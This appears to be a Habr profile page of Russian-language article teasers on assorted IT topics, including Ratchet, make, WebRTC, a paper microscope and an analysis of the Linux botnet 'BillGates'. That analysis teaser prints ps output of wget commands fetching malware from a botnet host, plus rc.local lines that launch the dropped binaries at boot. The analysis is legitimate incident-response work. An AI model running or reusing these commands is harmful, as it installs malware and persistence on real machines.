Search
Write a publication
Pull to refresh
21
0
Filipp Frizzy @MrFrizzy

devops

Send message

Печать и воспроизведение звука на бумаге

Reading time3 min
Views103K
Можно ли закодировать звук в виде изображения, которое считывается камерой и проигрывается в реальном времени?

На ум сразу приходит QR-код или некие его аналоги. В такой код можно записать ссылку на mp3, или даже совсем маленький звуковой файл. Но в первом случае требуется выход в сеть, а во втором — большая плотность кода и повышенные требования к качеству изображения. Кроме того, ни тот ни другой способ не обеспечит мгновенное воспроизведение.

Что, если кодировать звук не в цифровом, а в аналоговом формате? То есть, допустить возможность больших потерь информации с сохранением основных «очертаний» звукового послания. Например, такие потери возникнут при плохом освещении, плохой камере, маленькой картинке, мятой или рваной бумаге с кодом. Пусть со страшными артефактами, но картинка должна звучать.


Читать дальше →

Ratchet 2.0 — самый красивый HTML5-фреймворк теперь дружит и с iOS, и с Android

Reading time2 min
Views68K


Ratchet — так называется HTML5-фреймворк для быстрого прототипирования мобильных приложений, который 1,5 года назад создали те же парни, которые когда-то выпустили Bootstrap.

Инструмент позволяет быстро создать красивый интерфейс мобильного приложения — и дает вам красивые стили и замечательные иконки, согласованные с гайдлайном в зависимости от платформы. Можно сделать прототип, а можно завернуть в PhoneGap и без особых усилий получить сравнимый с нативным интерфейс приложения в продакшене.
Фреймворк очень прост в использовании и прекрасно документирован.

Я являюсь поклонником Ratchet с момента выхода первой версии. Тогда он был доступен только под iOS.
Не так давно вышла вторая версия, которая наряду с iOS поддерживает Android. Ура-ура!
(правда, обратной совместимости с первой версией нет)

Кому интересно про новые возможности Ratchet 2.0 — прошу под кат!
Читать дальше →

GitHub Cheat Sheet

Reading time2 min
Views19K
Привет, Хабр! В очередной раз на глаза попался очень интересный репозиторий. Эта шпаргалка по самым тайным и функциональным возможностям Git и GitHub появилась благодаря выступлениям Зака Холмана одну из статей которого я уже переводил Git and GitHub Secrets на Aloha Ruby Conference 2012 и More Git and GitHub Secrets на WDCNZ 2013. Стоит сказать о том, что проект набрал свыше 1000 старов менее чем за 12 часов. Приведу несколько примеров:

Hub — Git Wrapper


Hub — это оболочка над Git, которая сокращает потраченное время на лишнее нажатии клавиш при работе с Git.
$ hub clone tiimgreen/toc
> git clone https://github.com/tiimgreen/toc.git

На hub можно сделать алиас git и все будет выглядеть еще удобнее:
# Remote
$ git remote add rtomayko
> git remote add rtomayko git://github.com/rtomayko/CURRENT_REPO.git

#Fetch
$ git fetch mislav
> git remote add mislav git://github.com/mislav/REPO.git

#Fork
$ git fork
[ repo forked on GitHub ]
> git remote add -f YOUR_USER git@github.com:YOUR_USER/CURRENT_REPO.git


Читать дальше →

MMO на WebRTC

Reading time5 min
Views29K
image

Каждый программист, написавший свое MMORPG очень быстро сталкивается с одной распространенной проблемой. Наиболее прохоженый путь для организации сети в клиент-серверных играх — это звезда, где центральный узел является сервером, а листы — это клиенты.

image

Такая организация имеет свои неоспоримые достоинства, например синхронизация игровых состояний клиентов на сервере, простота в реализации и почти фиксированные задержки до пользователя. Там где есть плюсы, обычно обитают и минусы — это ограниченная пропускная способность сервера и довольно большие задержки, если клиент находится далеко от вашего сервера. Как с ними бороться подробно написано в блоге 0fps.net и есть возможность эти проблемы довольно эффективно решать оставаясь в любимой «звездочке» — купить больше серверов, но что делать если вы студент вы ограничены в финансах и горизонтальное/вертикальное масштабирование для вас не вариант?
Как же быть?

Топ-5 простых изменений, которые значительно увеличили конверсию

Reading time4 min
Views29K
image

Принято считать, что для того, чтобы получить значительную отдачу от изменений на сайте, нужно провести глубокий редизайн, изменить концепцию, сделать ребрендинг и т.д. Но на самом деле иногда даже небольшие изменения могут привести к огромному эффекту. Иногда вы можете добиться конверсии благодаря изменению или перемещению элементов вашего сайта. Когда мы писали статью про А/В анализ, мы наткнулись на подборку примеров, которая демонстрировала результаты тех или иных тестов. Мы выбрали несколько из них, опираясь на два основных параметра: простота и эффективность.
Читать дальше →

Как выгодно и правильно погашать кредиты

Reading time7 min
Views233K
Поскольку на одного россиянина в среднем приходится 3 кредита, мы решили, что айтишникам тоже будет интересно узнать как правильно и выгодно гасить свои кредиты и долги.

Получить кредит очень просто, а вот рассчитаться с кредиторами – намного сложнее. Как оказывает практика, можно вылезти и из самой глубокой финансовой ямы, если не отчаиваться. Наши советы и методы помогут рассчитаться даже с крупными долгами: грамотно гасить долг, найти деньги для оплаты, выбрать оптимальный способ выплат.

Узнать как выгодно гасить кредиты

Паралич анализа: вы знаете слишком много, чтобы просто писать код

Reading time3 min
Views98K

Это перевод статьи Analysis Paralysis: Over-thinking and Knowing Too Much to Just CODE Скотта Хансельмана за 30 марта.

Прочитал сегодня пост на ArsTechnica «Я знаю слишком много чтобы программировать быстро. Что мне делать?» — это обзор вот этого вопроса на StackOverflow:

Я стал замечать, что чем более опытным я становлюсь, тем больше времени у меня занимает выполнение проектов или задач. Я не теряю квалификацию от возраста, нет. Проблема в том, что я вижу слишком много способов чему-то сломаться. А количество потенциальных ошибок и просто нюансов, о которых мне известно, становится всё больше и больше.

Простой пример: раньше я просто записывал данные в файл. Теперь я думаю о правах доступа, занятии файла другим приложением, многопоточности, атомарных операциях, фреймворках, разных файловых системах, количестве файлов в директории, предсказуемых названиях временных файлов, качестве моего ГПСЧ, отключении электричества во время любой операции, адекватном API для моего кода, нормальной документации и так далее.

Это просто бомба, прямо про меня. Я тоже недавно задумывался, а не от возраста ли появляются такие проблемы, но я просто не настолько стар. Проблему создаёт огромный опыт вкупе со слишком глубоким обдумыванием задачи. Я опытнее многих, но, очевидно, не настолько опытный, чтобы не страдать от паралича анализа.
Читать дальше →

Постоянный IRC хабраканал в даркнете I2P

Reading time3 min
Views14K

В свете событий последних двух лет, связанных с частью продукта законотворческой деятельности Правительства РФ, касающегося авторских и смежных прав, и описывающего нормы противодействия их нарушению, было решено произвести средство, целью которого было бы спасение сообщества Хабрахабра от разрушения в случае злоупотребления рядом законов об Интернете не в пользу Хабрахабра.

Принимая во внимание, что Хабрахабр до сих пор не работает по шифрованному HTTP и не имеет адреса IP шестой версии, не говоря уже о шлюзировании Хабрахабра в даркнеты, и не единожды обозначенную руководством Хабрахабра позицию по этому поводу, было решено не ожидать подвижек со стороны Хабрахабра, не препираться и не спорить по поводу уместности ряда тем на Хабрахабре, а просто организовать открытую, анонимную площадку обсуждений общего характера. Хабраюзерами для Хабраюзеров.
Читать дальше →

Кроссплатформенное приложение на Qt: Mac App Store

Reading time7 min
Views15K
После завершения разработки под OS X может остаться ощущение незавершенности — для полного счастья хотелось бы видеть свое приложение в каталоге, тем более, что это, пожалуй, лучшая площадка для продажи десктопных приложений. На эту тему есть статья времен Qt 4.8 в официальном блоге, и еще более старая на хабре. К счастью, больше нет необходимости пересобирать Qt, однако с приходом OS X 10.9 некоторые баги стали критичными, приходится выкручиваться.
Читать дальше →

Стимпанк-кофейня в Южной Африке

Reading time3 min
Views66K


Говорят, Кейптаун, что в Южной Африке, местами более британский, чем сама Англия. Я нашел одно викторианское место и хочу его вам показать. Это стимпанк-кофейня «Truth Coffee», где иногда собираются местные айтишники.



Ну и, конечно, тут можно просто посидеть и воспользоваться бесплатным вайфаем. В Южной Африке, знаете ли, с этим немного напряженно. И, самое главное, тут очень интересная модель оплаты. Сейчас расскажу.
Читать дальше →

Machine learning в простом проекте

Reading time8 min
Views39K
Я CTO проекта Preply и хочу рассказать немного о том, о чем мечтает каждый программист, а именно о сложных и интересных задачах в простых проектах.

Если быть точнее, то о том, как можно добавить немного науки к бизнесу и получить в результате немного пользы. Этой статьей я постараюсь описать один из контекстов использования Machine Learning в реальном проекте.
Читать дальше →

Книга «Системная инженерия для чайников»: электронная версия книги для всех желающих

Reading time1 min
Views40K


Силами специалистов корпорации IBM в свет вышла интереснейшая книга «Системная инженерия для чайников». В первую очередь, эта книга предлагается вниманию Хабрасообщества, где максимальная концентрация IT-специалистов, которым издание будет интересно (тут стоит сделать ремарку — книга существует не только в бумажной, но и электронной версии, и вот как раз электронная версия предлагается вашему вниманию).

Сама книга предназначена для ускоренного погружения в такую сферу, как системная инженерия — ведь сейчас много тех, кто желал бы освоить эту область деятельности.

Читать дальше →

StarCraft дизассемблировали и запустили на ARM

Reading time1 min
Views63K


Один из участников проекта OpenPandora провёл реверс-инжиниринг игры StarCraft и портировал её на ARM-платформу. Ему удалось сделать это, несмотря на отсутствие исходного кода в открытом доступе.

В репозитории выложен перекомпилированный бинарник, для установки которого на игровую приставку «Пандора» нужно еще скопировать несколько файлов с ПК-версии игры.
Читать дальше →

Собираем wi-fi устройство управления электроприборами с веб-сервером и JS-фронтэндом

Reading time12 min
Views255K
Добрый день, уважаемые хабровчане. В этой статье я несколько отойду от своего традиционного подхода к DIY – нашей основной целью станет быстрое и эффективное получение результата, а не изобретение велосипедов с целью самообучения, поэтому даже люди, впервые держащие паяльник, смогут все это повторить и получить готовое устройство за ~1000 рублей и один день.
Читать дальше →

Python Meetup: январская встреча

Reading time1 min
Views7.1K
image

Великий и могучий Python, неформальная обстановка, интересные доклады и куча единомышленников вокруг – все это происходит в Минске традиционно в последнюю пятницу каждого месяца. В этой публикации можно найти видео докладов январской встречи: "Python для анализа данных" от Романа Иманкулова и "Очередной скучный доклад про логгирование" от Стаса Рудакова. Видео и ссылки на slideshare смотрите под катом.
Читать дальше →

В Стэнфордском университете разработали бумажный микроскоп стоимостью меньше доллара

Reading time2 min
Views226K


Основным мотивом для создания микроскопа стала борьба с малярией — в развивающихся странах для диагностики малярии необходимо проводить около миллиарда микроскопических исследований образцов крови в год. Стандартный лабораторный микроскоп — дорогое и хрупкое устройство. Стэнфордским учёным удалось сконструировать микроскоп с увеличением до 2000х, стоимость всех компонентов которого при массовом производстве составляет 97 центов. Корпус микроскопа вырезается и складывается из листа плотной бумаги. Кроме неё используется батарейка-таблетка, светодиод, выключатель, кусочек токопроводящей медной ленты и сапфировая или стеклянная шариковая линза.
Читать дальше →

Исследуем Linux Botnet «BillGates»

Reading time26 min
Views87K
image

Написал мне вчера lfatal1ty, говорит, домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd и xfsdxd, запущенные из /etc:
Скрытый текст
root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

К сожалению, процессы не додумался скопировать

Начальный анализ


Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

«Хмм, ладно», подумал я. Полез в root'овский crontab
Читать дальше →

Запуск Linux на медиапроцессоре Realtek RTL-1185

Reading time8 min
Views31K


Попалась нам сегодня в руки отладочная плата на базе SoC RTD1185 — RTK300 Rev. C1 — для разработки мультимедийных устройств. В рамках этой статьи мы познакомимся с техническими параметрами этой SDK, cоберем и запустим на ней базовое ядро Linux и rootfs, успешно решив в процессе несколько проблем.

Disclaimer: данная статья рассчитана на опытных линуксоидов, по крайней мере, мы не останавливались на второстепенных подробностях. Если возникнут вопросы, добро пожаловать в комментарии.
Читать дальше →

Просто о make

Reading time6 min
Views497K
Меня всегда привлекал минимализм. Идея о том, что одна вещь должна выполнять одну функцию, но при этом выполнять ее как можно лучше, вылилась в создание UNIX. И хотя UNIX давно уже нельзя назвать простой системой, да и минимализм в ней узреть не так то просто, ее можно считать наглядным примером количество- качественной трансформации множества простых и понятных вещей в одну весьма непростую и не прозрачную. В своем развитии make прошел примерно такой же путь: простота и ясность, с ростом масштабов, превратилась в жуткого монстра (вспомните свои ощущения, когда впервые открыли мэйкфайл).

Мое упорное игнорирование make в течении долгого времени, было обусловлено удобством используемых IDE, и нежеланием разбираться в этом 'пережитке прошлого' (по сути — ленью). Однако, все эти надоедливые кнопочки, менюшки ит.п. атрибуты всевозможных студий, заставили меня искать альтернативу тому методу работы, который я практиковал до сих пор. Нет, я не стал гуру make, но полученных мною знаний вполне достаточно для моих небольших проектов. Данная статья предназначена для тех, кто так же как и я еще совсем недавно, желают вырваться из уютного оконного рабства в аскетичный, но свободный мир шелла.
Читать дальше →

Создание своего банка, или Как обеспечить себе безбедную старость

Reading time15 min
Views354K
Наблюдая за своими родителями-пенсионерами, а точнее за размерами их пенсий, я крепко задумываюсь о том, как обеспечить себе нечто оное в достойном меня размере. На государство в составе СНГ рассчитывать, похоже, не приходится. Значит, надо что-то делать самому! И начинать надо сейчас, пока мне 32 года, есть какой-никакой заработок и силы крутиться. Раньше были мысли, что я буду вечно молодым, вечно здоровым и все время что-то делать. Постепенно начинаю осознавать, что лет 20… 30 — и силы будут таять (или распыляться). Поэтому пару лет назад я начал понемногу что-то делать в этом направлении. Получил некоторый опыт, который может быть интересен уважаемому сообществу. Даже если для читателя вопрос пенсии сейчас звучит безумно абстрактно, то все равно рекомендую хотя бы пробежаться. Если бы я 5 лет назад почитал такой материал — я был бы уже существенно богаче!..
UPD: в статье добавил про смысл диверсификации, а то в комментариях много вопросов было…
В общем, рекомендую!

Information

Rating
Does not participate
Registered
Activity